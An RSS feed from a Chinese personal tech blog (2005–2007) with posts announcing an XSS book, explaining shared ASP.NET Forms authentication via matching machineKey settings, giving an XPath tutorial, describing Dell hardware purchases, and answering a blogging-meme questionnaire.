<?xml version="1.0" encoding="UTF-8" ?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>phenge的博客</title><link>http://qihang.net/u/phenge/Blog/Default.aspx</link><ttl>60</ttl><description /><generator>SpaceBuilder v1.1</generator><dc:language>zh-CN</dc:language><item><title>XSS Attacks(Cross Site Scripting Exploits and Defense) Book Download</title><link>http://qihang.net/u/phenge/Blog/archive/2007/05/22/3918.aspx</link><author>phenge</author><dc:creator>phenge</dc:creator><pubDate>Tue, 22 May 2007 03:04:00 GMT</pubDate><guid isPermaLink="False">fda5cd7f-5239-462c-9103-941409ef089a:Weblog:3918</guid><comments>http://qihang.net/u/Blog/ShortLink.aspx?UserDomainName=phenge&amp;PostID=3918</comments><slash:comments>2</slash:comments><description><![CDATA[<P>应该是XSS经典，刚released的。<BR>作者是Jeremiah Grossman、Robert “RSnake” Hansen、Petko “pdp” D. Petkov、Anton Rager，都是牛人啊</P>
<P>亚马逊上关于此书的介绍：<BR><A href="http://www.amazon.com/Cross-Site-Scripting-Attacks-Exploits/dp/1597491543">http://www.amazon.com/Cross-Site-Scripting-Attacks-Exploits/dp/1597491543</A></P>
<P>Jeremiah Grossman<BR><A href="http://jeremiahgrossman.blogspot.com/2007/04/xss-attacks-book.html">http://jeremiahgrossman.blogspot.com/2007/04/xss-attacks-book.html</A><BR><A href="http://jeremiahgrossman.blogspot.com/2007/05/xss-book-in-stock-on-amazon.html">http://jeremiahgrossman.blogspot.com/2007/05/xss-book-in-stock-on-amazon.html</A></P>
<P>RSname<BR><A href="http://ha.ckers.org/blog/20070423/xss-book-preview/">http://ha.ckers.org/blog/20070423/xss-book-preview/</A><BR><A href="http://ha.ckers.org/blog/20070520/xss-book-released/">http://ha.ckers.org/blog/20070520/xss-book-released/</A></P>
<P>pdp<BR><A href="http://www.gnucitizen.org/blog/xss-attacks-book-preview/">http://www.gnucitizen.org/blog/xss-attacks-book-preview/</A></P>
<P><A class="" href="http://www.box.net/shared/zxctztk1el" mce_href="http://www.box.net/shared/zxctztk1el">下载链接<BR></A></P><img src="http://qihang.net/utility/AggView.ashx?ViewObject=7&PostID=3918" width="1" height="1">]]></description></item><item><title>跨应用程序进行Forms验证</title><link>http://qihang.net/u/phenge/Blog/archive/2006/10/24/3113.aspx</link><author>phenge</author><dc:creator>phenge</dc:creator><pubDate>Mon, 23 Oct 2006 23:57:00 GMT</pubDate><guid isPermaLink="False">fda5cd7f-5239-462c-9103-941409ef089a:Weblog:3113</guid><comments>http://qihang.net/u/Blog/ShortLink.aspx?UserDomainName=phenge&amp;PostID=3113</comments><slash:comments>1</slash:comments><description><![CDATA[<p><img src="/Uploads/Blogs/21/3113/form.gif" border="0" alt="form.gif" width="452" /></p><P>最近做一个 Web 项目，需要用到跨应用程序进行身份验证，记得 ASP.Net 支持在分布式环境中进行 Forms 身份验证，分布式环境指的是跨单个服务器上的多个应用程序或网络场。在这里我们看一下 Forms 验证的流程，如下图所示：<BR><BR><A href="/photos/phenge/picture3112.aspx" target=_blank><IMG src="/photos/phenge/images/3112/original.aspx" border=0></A></P>
<P>查 MSDN 得知：<BR><EM>对于参与共享 Forms 身份验证的所有应用程序，&lt;forms&gt; 元素配置节中的多个配置属性必须匹配。下面示例中的指令 name、protection、path、validationKey、decryptionKey 和 validation 在所有应用程序间必须是相同的（除非另外说明）。<BR>&lt;configuration&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;system.web&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;authentication&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;forms name=".ASPXAUTH" <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; loginUrl="logon.aspx"&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; protection="all"&nbsp; &lt;!-- Protection must be identical.--&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; timeout="30" <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; path="/" &gt;&nbsp;&nbsp; &lt;!-- Path must have a compatible scope.--&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/authentication&gt;</EM></P>
<P><EM>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;!-- Validation and decryption keys must exactly match and cannot<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; be set to "AutoGenerate". The validation algorithm must also <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; be the same. --&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;machineKey&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; validationKey= "C50B3C89CB21F4F1422FF158A5B42D0E8DB8CB5CDA1742572A487D9401E3400267682B202B746511891C1BAF47F8D25C07F6C39A104696DB51F17C529AD3CABE" <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; decryptionKey= "8A9BE8FD67AF6979E7D20198CFEA50DD3D3799C77AF2B72F" <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; validation="SHA1"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; isolateApplications="false"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/machineKey&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;/system.web&gt;<BR>&lt;/configuration&gt;<BR>用于 Cookie 数据的加密和验证密钥以及加密方案必须完全相同。如果设置不匹配，则不能共享 Cookie。</EM></P>
<P><EM>发出 Cookie 之后，将根据 Cookie 自身中的 Expires 值跟踪 Cookie 的到期时间。这意味着如果两个应用程序具有不同的 timeout 属性，则将在 Cookie 的整个生存期中保留最初发出每个 Cookie 时设置的到期日期和时间。当更新 Cookie 时，Cookie 的原始到期时间用于计算新到期时间。使用配置 timeout 值的唯一时间就是最初创建 Cookie 的时间。<BR><BR></EM>这里说一下 &lt;machineKey&gt;节，在 machine.config 中，&lt;machineKey&gt; 默认配置如下：<BR>&lt;machineKey validationKey="AutoGenerate,IsolateApps" decryptionKey= "AutoGenerate,IsolateApps" validation="SHA1"/&gt;<BR>其中的 AutoGenerate 指定 ASP.NET 生成随机密钥并将其存储在本地安全机构 (LSA) 中，而 IsolateApps 则让 ASP.NET 用每个应用程序的应用程序 ID 为每个应用程序生成一个唯一的加密密钥。如果是对一台机器中的多个应用程序，可以移除 IsolateApps 选项，如果是对多台机器中的多个应用程序，可以将 IsolateApps 设定一个特定的值。</P>
<P>要想实现跨应用程序登录，在配置文件中关键有以下两点需要注意：<BR>1、多个应用程序配置文件中 &lt;authentication&gt; 节中的 Name、Protection、Path 属性必须是一致的。<BR>2、必须增加 &lt;machineKey&gt; 节。而且属性必须一致。</P>
<P>最后，按照 MSDN 中的配置代码，应用程序出现错误，原来 MSDN 中的这段配置代码是有误的，其中的 &lt;machineKey&gt; 节根本没有 isolateApplications 属性。去除这个属性后就可以了。</P><img src="http://qihang.net/utility/AggView.ashx?ViewObject=7&PostID=3113" width="1" height="1">]]></description></item><item><title>XPath实例教程</title><link>http://qihang.net/u/phenge/Blog/archive/2006/09/14/2974.aspx</link><author>phenge</author><dc:creator>phenge</dc:creator><pubDate>Thu, 14 Sep 2006 01:10:00 GMT</pubDate><guid isPermaLink="False">fda5cd7f-5239-462c-9103-941409ef089a:Weblog:2974</guid><comments>http://qihang.net/u/Blog/ShortLink.aspx?UserDomainName=phenge&amp;PostID=2974</comments><slash:comments>1</slash:comments><description><![CDATA[<p><a href="/Uploads/Blogs/21/2974/xpath.zip">附件: xpath.zip</a></p><P>把<A href="http://www.zvon.org/xxl/XPathTutorial/General_chi/examples.html"><FONT color=#0000ff>ZVON.org 上的 XPath实例教程</FONT></A>综合到了一起，写成Word文档。<FONT color=#ff0000>详细内容见附件。</FONT></P>
<P>实例 1<BR><SPAN style="COLOR: red"><FONT size=3>/AAA &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /AAA/CCC &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /AAA/DDD/BBB </FONT></SPAN><BR>基本的 XPath 语法类似于在一个文件系统中定位文件 , 如果路径以斜线 / 开始 , 那么该路径就表示到一个元素的绝对路径 </P>
<P></P>
<P>实例 2<BR><SPAN style="COLOR: red"><FONT size=3>//BBB &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //DDD/BBB </FONT></SPAN><BR>如果路径以双斜线 // 开头 , 则表示选择文档中所有满足双斜线 // 之后规则的元素 ( 无论层级关系 ) </P>
<P></P>
<P>实例 3<BR><SPAN style="COLOR: red"><FONT size=3>/AAA/CCC/DDD/* &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*/*/*/BBB &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //* </FONT></SPAN><BR>星号 * 表示选择所有由星号之前的路径所定位的元素 </P>
<P></P>
<P>实例 4<BR><SPAN style="COLOR: red"><FONT size=3>/AAA/BBB[1] &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /AAA/BBB[last()] </FONT></SPAN><BR>方块号里的表达式可以进一步的指定元素 , 其中数字表示元素在选择集里的位置 , 而 last() 函数则表示选择集中的最后一个元素 . </P>
<P></P>
<P>实例 5<BR><SPAN style="COLOR: red"><FONT size=3>//@id &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //BBB[@id] &nbsp;&nbsp;&nbsp; //BBB[@name] &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //BBB[@*] &nbsp;&nbsp;&nbsp;&nbsp; //BBB[not(@*)] </FONT></SPAN></P>
<P></P>
<P>实例 6<BR><SPAN style="COLOR: red"><FONT size=3>//BBB[@id='b1'] &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //BBB[@name='bbb'] &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //BBB[normalize-space(@name)='bbb'] </FONT></SPAN><BR>属性的值可以被用来作为选择的准则 , normalize-space 函数删除了前部和尾部的空格 , 并且把连续的空格串替换为一个单一的空格 </P>
<P></P>
<P>实例 7<BR><SPAN style="COLOR: red"><FONT size=3>//*[count(BBB)=2] &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //*[count(*)=2] &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //*[count(*)=3] </FONT></SPAN><BR>count() 函数可以计数所选元素的个数 </P>
<P></P>
<P>实例 8<BR><SPAN style="COLOR: red"><FONT size=3>//*[name()='BBB'] &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //*[starts-with(name(),'B')] &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //*[contains(name(),'C')] </FONT></SPAN><BR>name() 函数返回元素的名称 , start-with() 函数在该函数的第一个参数字符串是以第二个参数字符开始的情况返回 true, contains() 函数当其第一个字符串参数包含有第二个字符串参数时返回 true. </P>
<P></P>
<P>实例 9<BR><SPAN style="COLOR: red"><FONT size=3>//*[string-length(name()) = 3] &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; //*[string-length(name()) &lt; 3] &nbsp;&nbsp; //*[string-length(name()) &gt; 3] </FONT></SPAN><BR>string-length 函数返回字符串的字符数 , 你应该用 &amp;lt; 替代 &lt;, 用 &amp;gt; 代替 &gt; </P>
<P></P>
<P>实例 10<BR><SPAN style="COLOR: red"><FONT size=3>//CCC | //BBB &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /AAA/EEE | //BBB &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /AAA/EEE | //DDD/CCC | /AAA | //BBB </FONT></SPAN><BR>多个路径可以用分隔符 | 合并在一起 </P>
<P></P>
<P>实例 11<BR><SPAN style="COLOR: red"><FONT size=3>/AAA &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /child::AAA &nbsp;&nbsp;&nbsp; /AAA/BBB &nbsp;&nbsp;&nbsp;&nbsp; /child::AAA/child::BBB &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /child::AAA/BBB </FONT></SPAN><BR>child 轴 (axis) 包含上下文节点的子元素 , 作为默认的轴 , 可以忽略不写 . </P>
<P></P>
<P>实例 12<BR><SPAN style="COLOR: red"><FONT size=3>/descendant::* &nbsp; /AAA/BBB/descendant::* &nbsp;&nbsp; //CCC/descendant::* &nbsp;&nbsp; //CCC/descendant::DDD </FONT></SPAN><BR>descendant ( 后代 ) 轴包含上下文节点的后代 , 一个后代是指子节点或者子节点的子节点等等 , 因此 descendant 轴不会包含属性和命名空间节点 . </P>
<P></P>
<P>实例 13<BR><SPAN style="COLOR: red"><FONT size=3>//DDD/parent::* </FONT></SPAN><BR>parent 轴 (axis) 包含上下文节点的父节点 , 如果有父节点的话 </P>
<P>实例 14<BR><SPAN style="COLOR: red"><FONT size=3>/AAA/BBB/DDD/CCC/EEE/ancestor::* &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //FFF/ancestor::* </FONT></SPAN><BR>ancestor 轴 (axis) 包含上下节点的祖先节点 , 该祖先节点由其上下文节点的父节点以及父节点的父节点等等诸如此类的节点构成 , 所以 ancestor 轴总是包含有根节点 , 除非上下文节点就是根节点本身 . </P>
<P></P>
<P>实例 15<BR><SPAN style="COLOR: red"><FONT size=3>/AAA/BBB/following-sibling::* &nbsp;&nbsp;&nbsp; //CCC/following-sibling::* </FONT></SPAN><BR>following-sibling 轴 (axis) 包含上下文节点之后的所有兄弟节点 </P>
<P></P>
<P>实例 16<BR><SPAN style="COLOR: red"><FONT size=3>/AAA/XXX/preceding-sibling::* &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //CCC/preceding-sibling::* </FONT></SPAN><BR>preceding-sibling 轴 (axis) 包含上下文节点之前的所有兄弟节点 </P>
<P></P>
<P>实例 17<BR><SPAN style="COLOR: red"><FONT size=3>/AAA/XXX/following::* &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //ZZZ/following::* </FONT></SPAN><BR>following 轴 (axis) 包含同一文档中按文档顺序位于上下文节点之后的所有节点 , 除了祖先节点 , 属性节点和命名空间节点 </P>
<P></P>
<P>实例 18<BR><SPAN style="COLOR: red"><FONT size=3>/AAA/XXX/preceding::* &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //GGG/preceding::* </FONT></SPAN><BR>preceding 轴 (axis) 包含同一文档中按文档顺序位于上下文节点之前的所有节点 , 除了祖先节点 , 属性节点和命名空间节点 </P>
<P></P>
<P>实例 19<BR><SPAN style="COLOR: red"><FONT size=3>/AAA/XXX/descendant-or-self::* &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //CCC/descendant-or-self::* </FONT></SPAN><BR>descendant-or-self 轴 (axis) 包含上下文节点本身和该节点的后代节点 </P>
<P></P>
<P>实例 20<BR><SPAN style="COLOR: red"><FONT size=3>/AAA/XXX/DDD/EEE/ancestor-or-self::* &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //GGG/ancestor-or-self::* </FONT></SPAN><BR>ancestor-or-self 轴 (axis) 包含上下文节点本身和该节点的祖先节点 </P>
<P></P>
<P>实例 21<BR><SPAN style="COLOR: red"><FONT size=3>//GGG/ancestor::* &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //GGG/descendant::* &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //GGG/following::* </FONT></SPAN></P>
<P><SPAN style="COLOR: red"><FONT size=3>//GGG/preceding::* &nbsp;&nbsp;&nbsp;&nbsp; //GGG/self::* &nbsp; </FONT></SPAN></P>
<P><SPAN style="COLOR: red"><FONT size=3>//GGG/ancestor::* | //GGG/descendant::* | //GGG/following::* | //GGG/preceding::* | //GGG/self::* </FONT></SPAN><BR>ancestor, descendant, following, preceding 和 self 轴 (axis) 分割了 XML 文档 ( 忽略属性节点和命名空间节点 ), 不能交迭 , 而一起使用则包含所有节点 </P>
<P></P>
<P>实例 22<BR><SPAN style="COLOR: red"><FONT size=3>//BBB[position() mod 2 = 0 ] </FONT></SPAN></P>
<P><SPAN style="COLOR: red"><FONT size=3>//BBB[ position() = floor(last() div 2 + 0.5) or position() = ceiling(last() div 2 + 0.5) ] </FONT></SPAN></P>
<P><SPAN style="COLOR: red"><FONT size=3>//CCC[ position() = floor(last() div 2 + 0.5) or position() = ceiling(last() div 2 + 0.5) ] </FONT></SPAN><BR>div 运算符做浮点除法运算 , mod 运算符做求余运算 , floor 函数返回不大于参数的最大整数 ( 趋近于正无穷 ), ceiling 返回不小于参数的最小整数 ( 趋近于负无穷 ) </P>
<P>&nbsp;</P><img src="http://qihang.net/utility/AggView.ashx?ViewObject=7&PostID=2974" width="1" height="1">]]></description></item><item><title>买了台Dell 1907FP液晶</title><link>http://qihang.net/u/phenge/Blog/archive/2006/06/08/2719.aspx</link><author>phenge</author><dc:creator>phenge</dc:creator><pubDate>Thu, 08 Jun 2006 04:41:00 GMT</pubDate><guid isPermaLink="False">fda5cd7f-5239-462c-9103-941409ef089a:Weblog:2719</guid><comments>http://qihang.net/u/Blog/ShortLink.aspx?UserDomainName=phenge&amp;PostID=2719</comments><slash:comments>1</slash:comments><description><![CDATA[昨天从青岛订了台Dell 1907FP，今天中午到了，看着真是不错，可以左右旋转，上下升降，终于从CRT时代进入LCD世界，没DC，只好从网上弄几张图给大家看看。<BR><IMG src="http://img2.zol.com.cn/product/4/301/ceHi6gFKnXwY.jpg" border=0><BR><IMG src="http://img2.zol.com.cn/product/4/302/ceSyK3YGFbSY.jpg" border=0><BR><IMG src="http://img2.zol.com.cn/product/4/310/ceR9i2xqICuDU.jpg" border=0><BR><IMG src="http://img2.zol.com.cn/product/4/315/cenVFek5ahWA.jpg" border=0><img src="http://qihang.net/utility/AggView.ashx?ViewObject=7&PostID=2719" width="1" height="1">]]></description></item><item><title>我的sc430终于到了！</title><link>http://qihang.net/u/phenge/Blog/archive/2006/03/23/2417.aspx</link><author>phenge</author><dc:creator>phenge</dc:creator><pubDate>Thu, 23 Mar 2006 15:59:00 GMT</pubDate><guid isPermaLink="False">fda5cd7f-5239-462c-9103-941409ef089a:Weblog:2417</guid><comments>http://qihang.net/u/Blog/ShortLink.aspx?UserDomainName=phenge&amp;PostID=2417</comments><slash:comments>6</slash:comments><description><![CDATA[<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;上周一在Dell订了台SC430，配置：PD820&nbsp;、1G ECC DDR533 RAM 、160G Maxtor Sata HDD，板载 XGI's XG20 PCI 显示卡，加三年服务，从厦门运过来，总共花了3740元。<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;虽然板载显卡不支持3D，这对不玩游戏的我来说还能接受，但全屏看电影有锯齿，看来真的要用来当工作机了，呵呵！<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;服务器就是服务器，机箱的做工真是没话说，厚重！结实！拆卸、安装机箱和硬件根本就不用工具，徒手操作即可。机箱声音也非常的小，虽然散热器大的出奇。另外，Dell的一些人性化设置真是让人佩服！<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;总体来说性价比还算不错，自己还算满意！下面是一些图片：</P>
<P><IMG title="双核服务器跌破三千 戴尔2999元上市" style="BORDER-RIGHT: black 1px solid; BORDER-TOP: black 1px solid; BORDER-LEFT: black 1px solid; BORDER-BOTTOM: black 1px solid" alt="双核服务器跌破三千 戴尔2999元上市" src="http://img2.zol.com.cn/product/1_450x337/921/cerX7icarykxU.jpg" align=no></STRONG><BR><FONT size=3><STRONG><BR></STRONG></FONT><STRONG><IMG title="双核服务器跌破三千 戴尔2999元上市" style="BORDER-RIGHT: black 1px solid; BORDER-TOP: black 1px solid; BORDER-LEFT: black 1px solid; BORDER-BOTTOM: black 1px solid" alt="双核服务器跌破三千 戴尔2999元上市" src="http://img2.zol.com.cn/product/1_450x337/922/ceRsMcKOuRlHY.jpg" align=no></STRONG><BR><STRONG><BR></STRONG><STRONG><IMG title="双核服务器跌破三千 戴尔2999元上市" style="BORDER-RIGHT: black 1px solid; BORDER-TOP: black 1px solid; BORDER-LEFT: black 1px solid; BORDER-BOTTOM: black 1px solid" alt="双核服务器跌破三千 戴尔2999元上市" src="http://img2.zol.com.cn/product/1_450x337/923/ce7N0qt8RAWS2.jpg" align=no></STRONG><BR><FONT size=3><STRONG>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DELL PowerEdge SC430</STRONG></FONT></P><img src="http://qihang.net/utility/AggView.ashx?ViewObject=7&PostID=2417" width="1" height="1">]]></description></item><item><title>被人点名了</title><link>http://qihang.net/u/phenge/Blog/archive/2005/12/26/2099.aspx</link><author>phenge</author><dc:creator>phenge</dc:creator><pubDate>Mon, 26 Dec 2005 04:57:00 GMT</pubDate><guid isPermaLink="False">fda5cd7f-5239-462c-9103-941409ef089a:Weblog:2099</guid><comments>http://qihang.net/u/Blog/ShortLink.aspx?UserDomainName=phenge&amp;PostID=2099</comments><slash:comments>0</slash:comments><description><![CDATA[<P>被<U>Qihangnet</U>点名了<BR><BR><FONT color=#006400>游戏规则：被点名，在自己blog上写下答案，并加一个题目，然后把题目丢给另外五个人，并且到这些<BR>人的留言版上留下："你被点名了。"这五个人在自己的 blog注明是从哪一个blogger那里传来的题目，然<BR>后写下答案，并另写一个问题，再去贴另外五个人。比如你自己回答15个题目，你回答完了再加一个，被<BR>你点名的博友就要回答16个题目，如此继续下去……</FONT> </P>
<P>1.你觉得这个游戏的"上家"人好不好？ <BR>不错 </P>
<P>2.你觉得心目中的美丽是怎样的？<BR>气质好</P>
<P>3.最后一次尿床是什么时候？<BR>不记得了哦</P>
<P>4.到目前为止，有没有考虑过要不要孩子的问题？如果想要，想要几个？ <BR>没考虑过。</P>
<P>5.当你看到街边乞丐无助的眼神时，你是否会考虑到昨天报上所说的"街边乞丐的骗局"而把自己的恻隐之<BR>心隐藏起来呢？ <BR>看乞丐是什么情形了。如果是老人那不会。</P>
<P>6.如果你当选了中国男子足球队的主教练该会怎么样？(by thom) <BR>找一个好的assistant coach。</P>
<P>7.给你两个选择，一个是安逸的生活，一个是紧张的都市生活。前者的环境下只能满足自己的吃喝，几乎<BR>好难有剩余的开支，后者有高薪的工作，生活富足，但是压力很大。你会选择哪种?（by amanda） <BR>前者。</P>
<P>8.你会为了自己喜欢的人放弃前途吗？为什么？（ by mishier） <BR>不会。<BR><BR>9，快乐与道义，你会选择哪一个？ （By Cynthia） <BR>快乐。</P>
<P>10. 天冷的时候,你有想过要找一个人陪着你取暖么?如果有的话,把他(她)的名字写出来.(By adi) <BR>想过，还没找着呢！</P>
<P>11. 你上一次有想杀人的冲动是在什么情形下？详细描述.(By eagle火热的冬天)<BR>看电影的时候。</P>
<P>12.想不想要一个一辈子的情人(By 小虾仁) <BR>不想。</P>
<P>13.今年的圣诞节，你在干什么？(By 清泉)<BR>跟几个几年没见的高中同学吃饭玩呢。</P>
<P>14.讲个冷笑话来听听？(By leon) <BR>不会。</P>
<P>15.最想去什么地方旅游？为什么？(By Neo) <BR>泰山，离的挺近始终没去过。</P>
<P>16.什么时候开始写blog的？从中得到了什么？(By Yetin)<BR>05年，发现自己很懒。</P>
<P>17.对你影响最大的一本书是?为什么?(By 舍予之间) <BR>三国。</P>
<P>18：说说你第一次失眠是什么时候，为什么失眠？（By　蜀狂） <BR>没有失眠过。</P>
<P>19：你是男是女？如果有下辈子投胎，想做啥？（By 断剑） <BR>男。还是男的。</P>
<P>20：你做过什么傻事没有? 如果有, 你从中得到了什么？ （By 别样心情）<BR>还没有</P>
<P>21：你理想的生活是什么样子的？(By eidiot) <BR>在一栋温暖舒适的大房子里和老伴儿讲从前的故事。</P>
<P>22.你的银行卡密码是什么？（By 幻灭）<BR>&nbsp;Q$</P>
<P>23.你的冻过手吗？（By 少林扫地僧） <BR>没有。</P>
<P>24.想过将来拥有多大面积的房子么？（By KACA） <BR>100平米就够了。</P>
<P>25.你上网时听什么歌？ （By fyadi） <BR>不听。</P>
<P>26.开设Blog的初衷是啥？觉得达到了么？ （By HaoZi04） <BR>写点东西。还没呢！</P>
<P>27.最尴尬的一件事是什么？(By Gythialy) <BR>叫错人，辈分弄错了。</P>
<P>28.你做过最猥琐的事情是什么？(By Phevoz) <BR>盯着美女看？？</P>
<P>29.你觉得怎样才能让你真正的快乐？（除了作爱什么的，或者和心爱的人、家人、朋友在一起、中大奖<BR>之类~）(LL19.com) <BR>生活简单而充实。</P>
<P>30.你会在2005年12月25号去娃娃的blog（<A href="http://www.a-fei.net/wawa/blog/"><U><FONT color=#0000ff>http://www.a-fei.net/wawa/blog/</FONT></U></A>）为她的生日留下祝福吗<BR>？（by娃娃）<BR>已经晚了！</P>
<P>31.看到这个帖子前一个小时你在做什么?（by OM-Space） <BR>睡觉。</P>
<P>32.对现在的工作有什么不爽的地方？（by Ryan）<BR>水平高的人太少了。</P>
<P>33.从出生到现在一共谈了几次恋爱？（by Alex lee） <BR>Chr(30)</P>
<P>34.你最不爽谁？（by anson）<BR>欺负弱者的人。</P>
<P>35.你相信有情饮水饱吗？没有经济等物质的两性生活，你认为可以吗?(by simon) <BR>不太相信。</P>
<P>36.自由，爱情和金钱之间你会选谁（单选）？( by Aspid Blog ) <BR>自由</P>
<P>37.当你回答完了上面的问题之后，有什么感想，有什么冲动？越详细越好。 (By Black-Xstar) <BR>题目无聊！</P>
<P>38.你每天浪费多少时间？（ by rwk.cn ） <BR>不一定</P>
<P>39.怎样有效阻止自己浪费时间 <BR>学习</P>
<P>40.你还相信有不变的爱情吗?( by kikiji)<BR>相信</P>
<P>41.如果一直没遇到真爱，你会不会愿意一直克服所有的困难和压力，坚持着继续寻找到老到死？（BY KAY）<BR>愿意。</P>
<P>42.朋友因为一些过失身处困境，你会选择怒其不争，直接对他的错误进行批判；还是会先鼓励她，多给她拥抱，陪伴她走出困境，慢慢帮他摆正航向？（翅膀）<BR>当然后者<BR>&nbsp;<BR>43.前面的女朋友或者男朋友来找你？你会和她/他在一起么？为什么（Ken）<BR>以前没有过啊，所以不会有人来找。<BR>&nbsp;<BR>44.给自己3个还要生活在这个世界的理由？(Astrid)<BR>亲情,友情,爱情<BR>&nbsp;<BR>45.去里屋吗？ (年)<BR>？？<BR>&nbsp;<BR>46.怎样才能满意自己的人生...（ＢＹ　无ＪＪ）<BR>达到自己的理想和目标。<BR>&nbsp;<BR>47.你会把你的所有心思都写在ＢＬＯＧ里吗？(维纳斯)<BR>不会。<BR>&nbsp;<BR>48.会为了实现自己的目标而不择手段吗? （<A class="" title="" href="http://spaces.msn.com/members/fuguxiangshui/" target=_blank><U><FONT color=#0000ff>复古香水</FONT></U></A>）<BR>不会。</P>
